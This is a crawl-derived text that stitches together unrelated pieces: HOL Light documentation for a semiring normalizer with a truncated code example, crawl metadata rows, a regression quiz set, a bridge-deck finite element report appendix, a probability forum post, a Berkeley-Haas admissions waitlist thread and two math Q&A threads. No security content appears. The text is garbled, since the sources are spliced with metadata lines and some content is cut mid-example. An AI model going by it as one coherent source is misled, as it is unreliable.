SYNOPSIS
Produces normalizer functions over a ring or even a semiring.
DESCRIPTION
The function SEMIRING_NORMALIZERS_CONV should be given two theorems about some binary operators that we write as infix `+', `*' and `^' and ground terms `ZERO' and `ONE'. (The conventional symbols make the import of the theorem easier to grasp, but they are essentially arbitrary.) The first theorem is of the following form, essentially stating that the operators form a semiring structure with `^' as the ``power'' operator:
``` |- (!x y z. x + (y + z) = (x + y) + z) /\
(!x y. x + y = y + x) /\
(!x. ZERO + x = x) /\
(!x y z. x * (y * z) = (x * y) * z) /\
(!x y. x * y = y * x) /\
(!x. ONE * x = x) /\
(!x. ZERO * x = ZERO) /\
(!x y z. x * (y + z) = x * y + x * z) /\
(!x. x^0 = ONE) /\
(!x n. x^(SUC n) = x * x^n)
```
The second theorem may just be TRUTH = |- T, in which case it will be assumed that the structure is just a semiring. Otherwise, it may be of the following form for ``negation'' (neg) and ``subtraction'' functions, plus a ground term MINUS1 thought of as -1:
``` |- (!x. neg x = MINUS1 * x) /\
(!x y. x - y = x + MINUS1 * y)
```
If the second theorem is provided, the eventual normalizer will also handle the negation and subtraction operations. Generally this is beneficial, but is impossible on structures like :num with no negative numbers. The remaining arguments are a tuple. The first is an ordering on terms, used to determine the polynomial form. Normally, the default OCaml ordering is fine. The rest are intended to be functions for operating on `constants' (e.g. numerals), which should handle at least `ZERO', `ONE' and, in the case of a ring, `MINUS1'. The functions are: (i) a test for membership in the set of `constants', (ii) an addition conversion on constants, (iii) a multiplication conversion on constants, and (iv) a conversion to raise a constant to a numeral power. Note that no subtraction or negation operations are needed explicitly because this is subsumed in the presence of -1 as a constant. The function then returns conversions for putting terms of the structure into a canonical form, essentially multiplied-out polynomials with a particular ordering. The functions respectively negate, add, subtract, multiply, exponentiate terms already in the canonical form, putting the result back in canonical form. The final return value is an overall normalization function.
FAILURE CONDITIONS
Fails if the theorems are malformed.
EXAMPLE
There are already instantiations of the main normalizer for natural numbers (NUM_NORMALIZE_CONV) and real numbers (REAL_POLY_CONV). Here is how the latter is first constructed (it is later enhanced to handle some additional functions more effectively, so use the inbuilt definition, not this one):
``` # let REAL_POLY_NEG_CONV,REAL_POLY_ADD_CONV,REAL_POLY_SUB_CONV,
REAL_POLY_MUL_CONV,REAL_POLY_POW_CONV,REAL_POLY_CONV =
SEMIRING_NORMALIZERS_CONV REAL_POLY_CLAUSES REAL_POLY_NEG_CLAUSES
(is_ratconst,
(<);;
val ( REAL_POLY_NEG_CONV ) : term -> thm =
val ( REAL_POLY_ADD_CONV ) : term -> thm =
val ( REAL_POLY_SUB_CONV ) : term -> thm =
val ( REAL_POLY_MUL_CONV ) : term -> thm =
val ( REAL_POLY_POW_CONV ) : term -> thm =
val ( REAL_POLY_CONV ) : term -> thm =
```
For examples of the resulting main function in action, see REAL_POLY_CONV.
USES
This is a highly generic function, intended only for occasional use by experts. Users reasoning in any sort of ring structure may find it a useful building-block for a decision procedure. | 991 | 3,710 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.34375 | 3 | CC-MAIN-2018-13 | latest | en | 0.825412 |
https://wiki.socr.umich.edu/index.php?title=EBook_Problems_GLM_Regress&diff=8676&oldid=8674&printable=yes | 1,606,354,952,000,000,000 | text/html | crawl-data/CC-MAIN-2020-50/segments/1606141185851.16/warc/CC-MAIN-20201126001926-20201126031926-00564.warc.gz | 559,172,028 | 11,540 | Difference between revisions of "EBook Problems GLM Regress"
EBook Problems Set - Regression
Problem 1
Use the information from the Heights of Fathers and Sons to write the linear model that best predicts the height of the son from the height of the father.
(a) Son's height = 35 + 0.5*Father's height'
(b) Son's height = 1.00 + 1.00* Father's height
(c) The model cannot be determined without the actual data
(d) Son's height = 0.5 + 35*Father's height
Problem 2
A congressional report investigates the relationship between income of parents and educational attainment of their daughters. Data are from a sample of families with daughters age 18-24. Average parental income is \$29,300, average educational attainment of the daughters is 13.1 years of schooling completed, and the correlation is 0.37.
The regression line for predicting daughter’s education from parental income is reported as: Predicted education = 0.000617*(income) + 8.1
Is the following statement true or false? "The above line is the regression line to predict education from income."
(a)True.
(b)False.
Problem 3
In the early 1900's when Francis Galton and Karl Pearson measured 1078 pairs of fathers and their grown-up sons, they calculated that the mean height for fathers was about 68 inches with deviation of 3 inches. For their sons, the mean height was 69 inches with deviation of 3 inches. (The actual numbers are slightly smaller, but we will work with these values to keep the calculations simple.) The correlation coefficient was 0.50. Use the information to calculate the slope of the linear model that predicts the height of the son from the height of the father.
(a) 0.50
(b) The slope cannot be determined without the actual data
(c) 35.00
(d) 3/3 = 1.00
Problem 4
Suppose that wildlife researchers monitor the local alligator population by taking aerial photograhs on a regular schedule. They determine that the best fitting linear model to predict weight in pounds from the length of the gators inches is:
Weight = -393 + 5.9*Length with r2 = 0.836.
Which of the following statements is true?
(a) A gator that is about 10 inches above average in length is about 59 pounds above the average weight of these gators.
(b) The correlation between a gator's length and weight is 0.836.
(c) The correlation between a gator's height and weight cannot be determined without the actual data.
(d) The correlation between a gator's height and weigth is about -0.914.
Problem 5
Which of the following is NOT a property of the LSR Line?
(a) The sum of the distances between each point and the LSR Line is minimized.
(b) The average x value and the average y value lies on the LSR Line
(c) The sum of squared residuals is minimized
(d) the sum of the residuals = 0
Problem 6
Suppose that the linear model that predicts fat content in grams from the protein of selected items from Burger Queen menu is: Fat = 6.83 + 0.97*Protein. We learn that there are actually 20 grams of fat in the Chucking burger that has 20 grams of protein. Which of the following statements is true?
(a) The linear model underestimates the actual fat content and produces a residual of -6.23
(b) the linear model overestimates the fat content and produces a residual of -6.23
(c) The linear model underestimates the fat content and produces a residual of -6.23
(d) The linear model overestimates the fat content and produces a residual of 6.23
Problem 7
Which statement describes the principle of "least squares" that we use in determining the best fit line?
(a) The best fit line minimizes the distances between the observed values and the predicted values.
(b) The best fit line minimizes the sum of the squared residuals.
(c) The best fit line minimizes the sum of the residuals.
(d) The best fit line minimizes the sum of the distances between the actual values and the predicted values.
Problem 8
A statistician wants to predict Z from Y. He finds that r-squared is 5%.Which one of the following conclusions is correct?
(a) The coefficient of correlation between Y and Z is 0.05
(b) Y explains 5% of the variance in Z
(c) Y is a good predictor of Z
(d) Z is a good predictor of Y
Problem 9
In a simple, linear regression model, the variable that is being predicted is called which of the following?
• Choose at least one answer.
(a) response variable
(b) X variable
(c) Y variable
(d) dependent variable
(e) independent variable
Problem 10
An ice cream truck owner collects data on the number of sales made each day and the average temperature that day. He computes a regression line for predicting the number of sales based on how far the daily temperature is from freezing (32 degrees Fahrenheit) and finds sales = 0.22 + 1.8*(degrees over 32 Fahrenheit). Identify the y-intercept.
(a) We can't tell from the information given
(b) 32
(c) 0.22
(d) 1.8
Problem 11
Find the regression equation for predicting final score from midterm score, based on the following information:
Average midterm score=70, SD=10 Average final score=55, SD=20 r=0.60
(a) Predicted final score=1.2*(midterm score)-29
(b) Predicted final score=1.2*(midterm score)-34
(c) Predicted final score=0.3*(midterm score)-34
(d) Predicted final score=0.3*(midterm score)-29
Problem 12
The scores of midterm and final exams for a random sample of Stats 10 students can be summarized as follows:
Mean of midterm score = 36.92; SD of midterm score = 37.79 Mean of final score = 24.71; SD of final score= 25.21 r= 0.978
Predict the final score for a student that got a midterm score of 35.
(a) 23.44
(b) 0.62
(c) 25.21
(d) 35
Problem 13
A popsicle truck owner collects data to predict the number of sales made each day (Y) from the average temperature of that day (in Fahrenheit) (X) . He finds that the regression line is "Predicted Y = 0.26 + 1.8 X" . What does the 1.8 mean?
• Choose at least one answer.
(a) The correlation between the temperature and the sale of the popsicles is 1.8.
(b) The intercept of the regression line would be 1.8.
(c) On average, the truck driver sells 1.8 more popsicles on days that are 1 degree warmer than today.
(d) There is a positive correlation between the rise in temperature and the sale of popsicles.
Problem 14
If the correlation between two data sets was found to be approximately zero, which of the conclusions can be made about the scatterplot?
• Choose at least one answer.
(a) The scatterplot could be a horizontal line
(b) The slope of the regression line will be positive but the points will not be so close to the line
(c) The scatterplot could be non-linear
(d) The slope of the regression line will be negative
Problem 15
n a study on the effect of nicotine ingestion by expectant mothers on birth weight, birth weight is which of the following in a simple, linear regression model?
• Choose at least one answer.
(a) dependent variable
(b) independent variable
(c) explanatory variable
(d) response variable | 1,699 | 6,930 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.28125 | 4 | CC-MAIN-2020-50 | latest | en | 0.904146 |
http://www.fhwa.dot.gov/hfl/partnerships/composite_bridge/hif13029/chap07.cfm | 1,484,621,726,000,000,000 | text/html | crawl-data/CC-MAIN-2017-04/segments/1484560279410.32/warc/CC-MAIN-20170116095119-00017-ip-10-171-10-70.ec2.internal.warc.gz | 455,709,215 | 6,941 | U.S. Department of Transportation
1200 New Jersey Avenue, SE
Washington, DC 20590
202-366-4000
FHWA Home / Highways for LIFE / Technology Partnerships / Bridge Technology / Composite Bridge Decking, Final Project Report
# Composite Bridge Decking, Final Project Report
## APPENDIX B: REPORT ON FINITE ELEMENT ANALYSIS
### Finite Element Model For the Whole Bridge
Tables 6 through 8 detail the properties of the various materials used to model the composite bridge deck.
Table 6. Material properties (composite).
Laminate Unit Value Unit Values for Horizontal Walls Thickness = 0.20" Values for Inclined Walls Thickness = 0.24" Values for graphite (thickness for each layer = 0.172in)
Elastic modulus of 0 degree, Ex psi 3.89 E+6 3.43 E+6 3.13 E+6
Elastic modulus of 90 degree, Ey psi 1.77 E+6 2.73 E+6 2.03 E+6
Shear modulus, Gxy psi 0.86 E+6 0.75 E+6 1.32 E+6
Ultimate tensile strength of 0 degree psi 39,960 33,000 50,960
Ultimate tensile strength of 90 degree psi 19,890 10,340 44,340
Ultimate compressive strength of 0 degree psi 70,000 54,120 35,710
Ultimate compressive strength of 90 degree psi 33,430 37,060 35,710
Ultimate shear strength psi 14,580 14,770 9,090
Poisson's ratio 0.223 0.231 modeling 0.184
Table 7. Material properties (concrete).
Properties Unit Value
Compressive strength psi 1.32E+4
Tensile strength psi 2.35E+3
Elastic modulus psi 2.16E+6
Table 8. Material properties (steel).
Properties Unit Value
Elastic modulus psi 2.90E+7
Poisson's ratio 0.3
### Result
Using AASHTO Load and Resistance Factor Design (LRFD) Bridge Design specifications:
Tables 9 through 11 show the response of the deck under service load, as obtained from finite element analysis. The finite element model used property values that were primarily derived from the physical testing of as-fabricated composite specimens.
Table 9. Service load deflection and failure index with concrete, small footprint (6 by 7 in2), with lane load.
Square root of Tsai-Hill Index (R)
(√ITH) (LRFD)
HL-93 0.284 0.413
Maximum local deflection between two girders = 0.02 inches.
Table 10. Service load deflection and failure index with graphite, small footprint (6 by 7 in2), no lane load.
Square root of Tsai-Hill Index (R)
(√ITH) (LRFD)
HL-93 0.357 1.38
Maximum local deflection between two girders = 0.17 inches.
Table 11. Service load deflection and failure index with graphite, large footprint (10 by 20 in2), no lane load.
Square root of Tsai-Hill Index (R)
(√ITH) (LRFD)
HL-93 0.279 0.853
Maximum local deflection between two girders = 0.088 inches.
The most critical element (the element with the highest Tsai Hill index under LRFD loading) is located under the area of applying the truck load (on the top flange). The stress states for these elements are presented in tables 12 through 15.
Table 12. State of stress in the critical composite element (SL loading), small footprint, no lane load.
Element No. S11 (psi) % of Ultimate S22 (psi) % of Ultimate S12 (psi) % of Ultimate
(vertical wall)
-19342 27 -28021 84 13 0.09
Table 13. State of stress in the critical composite element (LRFD loading), small footprint, no lane load.
Element No. S11 (psi) % of Ultimate S22 (psi) % of Ultimate S12 (psi) % of Ultimate
(vertical wall)
-45019 64 -65219 195 30 0.2
Table 14. State of stress in the critical composite element (SL loading), large footprint, no lane load.
Element No. S11 (psi) % of Ultimate S22 (psi) % of Ultimate S12 (psi) % of Ultimate
(vertical wall)
-2391 7 -8197 23 168 2
Table 15. State of stress in the critical composite element (LRFD loading), large footprint, no lane load.
Element No. S11 (psi) % of Ultimate S22 (psi) % of Ultimate S12 (psi) % of Ultimate
(vertical wall)
-5565 16 -19079 53 390 4
Figures 33 through 41 graphically illustrate the finite element model made for the proof-of-concept bridge.
Figure 33. Diagram. 3D view.
Figure 34. Diagram. Half of FRP deck (7 panels with 11 cells and 1 panel with 8 cells).
Figure 35. Diagram. Cross-section of a part of the FRP deck.
Figure 36. Diagram. Girders.
Figure 37. Diagram. Cross-section of the girders. | 1,200 | 4,097 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2017-04 | latest | en | 0.668423 |
http://mathhelpforum.com/statistics/159382-mutually-exclusive-print.html | 1,527,281,836,000,000,000 | text/html | crawl-data/CC-MAIN-2018-22/segments/1526794867217.1/warc/CC-MAIN-20180525200131-20180525220131-00457.warc.gz | 182,068,133 | 2,539 | # Mutually exclusive
• Oct 12th 2010, 03:40 PM
terminator
Mutually exclusive
John and his friend plan to travel to North Dakota during winter break. The probability that they go by car is 2/3 and the probability that they go by plane is 1/5. What is the probability that they go to North Dakota by car or plane?
These are independent events so P(A)+P(B)
2/3 + 1/5 = 13/15??
Sorry for the initial mistake
• Oct 12th 2010, 03:50 PM
harish21
two events are independent if \$\displaystyle P(A \cap B) = P(A) P(B)\$
two events are mutually exclusive if \$\displaystyle P(A \cap B) = 0\$
Why are you writing that these events are independent? | 187 | 642 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.03125 | 4 | CC-MAIN-2018-22 | latest | en | 0.954532 |
https://gmatclub.com/forum/calling-all-berkeley-haas-fall-2010-applicants-78476-1160.html | 1,510,995,034,000,000,000 | text/html | crawl-data/CC-MAIN-2017-47/segments/1510934804680.40/warc/CC-MAIN-20171118075712-20171118095712-00274.warc.gz | 628,423,447 | 46,628 | It is currently 18 Nov 2017, 01:50
### GMAT Club Daily Prep
#### Thank you for using the timer - this advanced tool can estimate your performance and suggest more practice questions. We have subscribed you to Daily Prep Questions via email.
Customized
for You
we will pick new questions that match your level based on your Timer History
Track
every week, we’ll send you an estimated GMAT score based on your performance
Practice
Pays
we will pick new questions that match your level based on your Timer History
# Events & Promotions
###### Events & Promotions in June
Open Detailed Calendar
# Calling all Berkeley-Haas Fall 2010 Applicants
Author Message
TAGS:
### Hide Tags
Intern
Joined: 11 May 2010
Posts: 4
Kudos [?]: [0], given: 0
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
11 May 2010, 19:09
I just got the call from peter! he said he had only called a few people, and I was one of the last people of the night before he went home. so for those of you who haven't heard anything... there's still hope tomorrow!
Kudos [?]: [0], given: 0
Intern
Joined: 09 Mar 2010
Posts: 26
Kudos [?]: [0], given: 0
Location: Washington, DC
Schools: Duke R1 (Admitted w/\$\$), Yale SOM - R2 (Admitted), HBS - R2 (Ding), Berkeley Haas - R3 (WL)
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
11 May 2010, 20:15
That's amazing ltinsf! Congrats!
May I ask what round you applied in?
Thanks so much!
Kudos [?]: [0], given: 0
Intern
Joined: 11 May 2010
Posts: 4
Kudos [?]: [0], given: 0
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
11 May 2010, 21:14
thanks so much. 2nd round
Kudos [?]: [0], given: 0
Manager
Joined: 10 Feb 2010
Posts: 76
Kudos [?]: 2 [0], given: 0
Schools: Harvard, Stanford, Kellogg, Columbia, Haas, Tuck
WE 1: Investment Banking
WE 2: Private Equity
WE 3: Consulting for Portfolio Company
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
12 May 2010, 07:41
Itinsf, congratulations on your acceptance. It's nice to know there are still seats left in the class. Any chance you mind sharing your background and stats?
Kudos [?]: 2 [0], given: 0
Intern
Joined: 23 Mar 2010
Posts: 14
Kudos [?]: 1 [0], given: 1
Schools: Kellogg, Haas, Fuqua, McCombs, Booth
WE 1: Consulting
WE 2: Project Management
WE 3: Sales
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
12 May 2010, 11:15
R3 applicant. WL on April 28. Status has remainded "Waitlist" since then. Hoping for a change in status soon!
_________________
Booth - Accepted on 5/26 - WL in R2
Kellogg - R2 Ding w/ Interview
Fuqua - R2 Ding w/ Interview
Haas - R3 Waitlist w/ Interview
McCombs - R3 w/ Interview
Kudos [?]: 1 [0], given: 1
Manager
Joined: 10 Feb 2010
Posts: 76
Kudos [?]: 2 [0], given: 0
Schools: Harvard, Stanford, Kellogg, Columbia, Haas, Tuck
WE 1: Investment Banking
WE 2: Private Equity
WE 3: Consulting for Portfolio Company
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
17 May 2010, 11:19
Anybody waitlisted in Round 3 hear anything today?
Kudos [?]: 2 [0], given: 0
Intern
Joined: 23 Mar 2010
Posts: 14
Kudos [?]: 1 [0], given: 1
Schools: Kellogg, Haas, Fuqua, McCombs, Booth
WE 1: Consulting
WE 2: Project Management
WE 3: Sales
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
17 May 2010, 11:25
I have not heard anything yet, but I received this email after accepting my spot on the waitlist...
We confirm your place on the waitlist. The waitlist will be reviewed after the Round Four notification date of May 19, so you may wish to have materials to us by then.
--- The Berkeley MBA Admissions Team
_________________
Booth - Accepted on 5/26 - WL in R2
Kellogg - R2 Ding w/ Interview
Fuqua - R2 Ding w/ Interview
Haas - R3 Waitlist w/ Interview
McCombs - R3 w/ Interview
Kudos [?]: 1 [0], given: 1
Intern
Joined: 06 Jan 2010
Posts: 43
Kudos [?]: [0], given: 3
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
17 May 2010, 12:04
Just wondering when you heard back from Haas.
I am still waiting for my confirmation e-mail for the Waitlist...
Kudos [?]: [0], given: 3
Intern
Joined: 23 Mar 2010
Posts: 14
Kudos [?]: 1 [0], given: 1
Schools: Kellogg, Haas, Fuqua, McCombs, Booth
WE 1: Consulting
WE 2: Project Management
WE 3: Sales
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
18 May 2010, 10:46
I heard back right away after replying to accept my spot on the waitlist.
_________________
Booth - Accepted on 5/26 - WL in R2
Kellogg - R2 Ding w/ Interview
Fuqua - R2 Ding w/ Interview
Haas - R3 Waitlist w/ Interview
McCombs - R3 w/ Interview
Kudos [?]: 1 [0], given: 1
Manager
Joined: 16 Jan 2009
Posts: 88
Kudos [?]: 1 [0], given: 1
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
18 May 2010, 17:20
R2 waitlisted.
I got waitlisted again. I replied saying that I would like to continue being on the waitlist. I haven't got a confirmation email either.
Kudos [?]: 1 [0], given: 1
Intern
Joined: 06 Jan 2010
Posts: 43
Kudos [?]: [0], given: 3
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
19 May 2010, 12:39
Any recent R4 or Waitlist admits? This forum has been awfully quiet...
Kudos [?]: [0], given: 3
Manager
Joined: 10 Feb 2010
Posts: 76
Kudos [?]: 2 [0], given: 0
Schools: Harvard, Stanford, Kellogg, Columbia, Haas, Tuck
WE 1: Investment Banking
WE 2: Private Equity
WE 3: Consulting for Portfolio Company
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
19 May 2010, 13:00
I was waitlisted in Round 3 and am still waiting. I am re-taking the GMAT next Thursday, so I don't expect to hear anything until after that.
Kudos [?]: 2 [0], given: 0
Intern
Joined: 03 Nov 2009
Posts: 30
Kudos [?]: [0], given: 0
Schools: LGO
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
19 May 2010, 13:22
Are there even any seats left out there?
I am re-wait-listed last week (R2 applicant).
Kudos [?]: [0], given: 0
Intern
Joined: 02 Feb 2010
Posts: 22
Kudos [?]: 8 [0], given: 1
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
19 May 2010, 16:43
ltinsf wrote:
thanks so much. 2nd round
I just got waitlisted for R4. Any advice?
Kudos [?]: 8 [0], given: 1
Manager
Joined: 10 Feb 2010
Posts: 76
Kudos [?]: 2 [0], given: 0
Schools: Harvard, Stanford, Kellogg, Columbia, Haas, Tuck
WE 1: Investment Banking
WE 2: Private Equity
WE 3: Consulting for Portfolio Company
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 07:35
I'm surprised there hasn't been anyone accepted or dropped off the WL this week. I guess the optimistic outlook is that if all the seats were full through R4, WL applicants would already be dropping like flies.
Kudos [?]: 2 [0], given: 0
Intern
Joined: 10 Feb 2010
Posts: 13
Kudos [?]: 1 [0], given: 1
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 08:50
Marcus7 wrote:
I'm surprised there hasn't been anyone accepted or dropped off the WL this week. I guess the optimistic outlook is that if all the seats were full through R4, WL applicants would already be dropping like flies.
Waitlist candidates were told they'd be reevaluated after R4 notifications go out. There will be an email asking whether waitlisters wish to remain on the waitlist, and then the committee will evaluate the waitlist and make a decision. I would assume, based on the R3 timing, that that email will go out today or early next week and then the decision a week or 2 afterwards.
Kudos [?]: 1 [0], given: 1
Manager
Joined: 10 Feb 2010
Posts: 76
Kudos [?]: 2 [0], given: 0
Schools: Harvard, Stanford, Kellogg, Columbia, Haas, Tuck
WE 1: Investment Banking
WE 2: Private Equity
WE 3: Consulting for Portfolio Company
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 08:59
Thanks for the info Charliebrown.
Kudos [?]: 2 [0], given: 0
Intern
Joined: 02 Feb 2010
Posts: 22
Kudos [?]: 8 [0], given: 1
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 16:51
Does anyone know the date by which admits must accept or decline the offer?
Kudos [?]: 8 [0], given: 1
Manager
Joined: 16 Jan 2009
Posts: 88
Kudos [?]: 1 [0], given: 1
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 19:44
Any international students on the WL?
Kudos [?]: 1 [0], given: 1
Intern
Joined: 17 Feb 2010
Posts: 20
Kudos [?]: 1 [0], given: 0
Schools: Haas
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink]
### Show Tags
21 May 2010, 22:35
woncosmo wrote:
Any international students on the WL?
yep. from R3.
Kudos [?]: 1 [0], given: 0
Re: Calling all Berkeley-Haas Fall 2010 Applicants [#permalink] 21 May 2010, 22:35
Go to page Previous 1 ... 51 52 53 54 55 56 57 58 59 60 61 62 Next [ 1237 posts ]
Display posts from previous: Sort by | 2,954 | 9,192 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.75 | 3 | CC-MAIN-2017-47 | latest | en | 0.84882 |
https://math.stackexchange.com/questions/2060585/exterior-algebra-general-case-find-a-linear-operator | 1,561,552,822,000,000,000 | text/html | crawl-data/CC-MAIN-2019-26/segments/1560628000306.84/warc/CC-MAIN-20190626114215-20190626140215-00398.warc.gz | 520,658,417 | 35,727 | # Exterior Algebra: General Case, find a linear operator
Is true that for all $J:\wedge^{k} \mathbb{R}^{n} \to\wedge^{k} \mathbb{R}^{n}$ isomorphism linear there exists $A:\mathbb{R}^{n} \to \mathbb{R}^{n}$ linear operator such that $\wedge^{k} A =J$?
When $k=(n-1)$, we have a positive answer, just do like this.
• I don't think that my approach will work for $n \neq 3$, since I'm exploiting the isomorphism between $\Bbb R^3$ and $\wedge^2 \Bbb R^3$. – Omnomnomnom Dec 15 '16 at 23:53
• I agree, but your approach will work to $\wedge^{n-1} \mathbb{R}^{n}$ because it has isomorphism with $\mathbb{R}^{n}$. It's the same argument. – Alladin Dec 15 '16 at 23:56
Not in general. The construction $A \mapsto \Lambda^k(A)$ gives us a nice (smooth) homomorphism $\varphi \colon \operatorname{GL}_n(\mathbb{R}) \rightarrow \operatorname{GL}(\Lambda^k(\mathbb{R}^n))$ and merely by considering dimensions, we can see that it can't be onto.
The first non-trivial case in which it fails is when $n = 4$ and $k = 2$ where we have
$$\dim \operatorname{GL}_4(\mathbb{R}) = 4^2 = 16, \\ \dim \operatorname{GL}(\Lambda^2(\mathbb{R}^4)) = { 4 \choose 2 }^2 = 6^2 = 36$$
so there are (infinitely) many isomorphisms $J \colon \Lambda^2(\mathbb{R}^4) \rightarrow \Lambda^2(\mathbb{R}^4)$ which are not of the form $J = \Lambda^2(A) = \varphi(A)$. | 491 | 1,335 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.765625 | 4 | CC-MAIN-2019-26 | latest | en | 0.763372 |
http://math.stackexchange.com/questions/68132/will-partial-summation-work-for-this-problem | 1,469,543,350,000,000,000 | text/html | crawl-data/CC-MAIN-2016-30/segments/1469257824994.73/warc/CC-MAIN-20160723071024-00169-ip-10-185-27-174.ec2.internal.warc.gz | 156,496,497 | 18,189 | # Will partial summation work for this problem?
Define $$G(x)=\sum_{n \leq x} T\left(\frac{x}{n}\right)$$ and $G,T: [1,\infty) \to \mathbb R$
And function T satisfies the following conditions:
1) $T(x)=O(x)$
2) $T(x) \sim cx (x \to \infty)$
How to show that $G(x) \sim cx\log{x} (x \to \infty)$? I have tried to use the partial summation, but feel that might not work.
-
Generlized Mobius inversion may be helpful here. See Mike Spivey's answer here for a similar problem: math.stackexchange.com/questions/66820/… – JavaMan Sep 28 '11 at 5:48
I don't see how either of partial summation or Mobius inversion will yield an answer. Israel's hint below suggests a very straightforward solution. – anon Oct 6 '11 at 23:35
Since your condition $2$ implies your condition $1$, perhaps you meant that for $x\ge1$ $$|T(x)|\le c_1x$$ I believe that this would satisfy Robert Israel's concern.
Let $\epsilon>0$. By the second condition, there is a $B_\epsilon$, so that for $x>B_\epsilon$, $$(c-\epsilon)x<T(x)<(c+\epsilon)x$$ Break up the sum into two parts $$\sum_{x\ge n>x/B_\epsilon}\left|T\left(\frac{x}{n}\right)\right|\le\sum_{x\ge n>x/B_\epsilon}c_1\frac{x}{n}\tag{1}$$ $$\sum_{n\le x/B_\epsilon}(c-\epsilon)\frac{x}{n}\le\sum_{n\le x/B_\epsilon}T\left(\frac{x}{n}\right)\le\sum_{n\le x/B_\epsilon}(c+\epsilon)\frac{x}{n}\tag{2}$$ Since $\displaystyle\sum_{n\le x}\frac{1}{n}=\log(x)+\gamma+O\left(\frac{1}{x}\right)$, we get that \begin{align} \left|\sum_{n\le x}T\left(\frac{x}{n}\right)-cx\log(x)\right| &\le\epsilon x(\log(x)-\log(B_\epsilon))+\gamma x+c_1x\log(B_\epsilon)+O\left(1\right)\\ &\le x\log(x)\left(\epsilon+\frac{\gamma+c_1\log(B_\epsilon)+O\left(\frac{1}{x}\right)}{\log(x)}\right) \end{align} which says that $G(x)\sim cx\log(x)$.
-
Actually a little more is needed: $T$ must be bounded on bounded subsets of $[1,\infty)$. Otherwise a counterexample is $T(t) = t + 1/(t-1)^2$ for $t > 1$, $T(1) = 0$.
Hint: If $c_1 x < T(x) < c_2 x$ for $x > N$, and $|T(x)| <= B$ for $x \le N$, what can you say about $G(x)$?
-
It's possible the $O(x)$ condition was specified or implied on $[1,\infty)$, otherwise it would be redundant in light of the second condition, but it's hard to tell. – anon Oct 6 '11 at 23:37
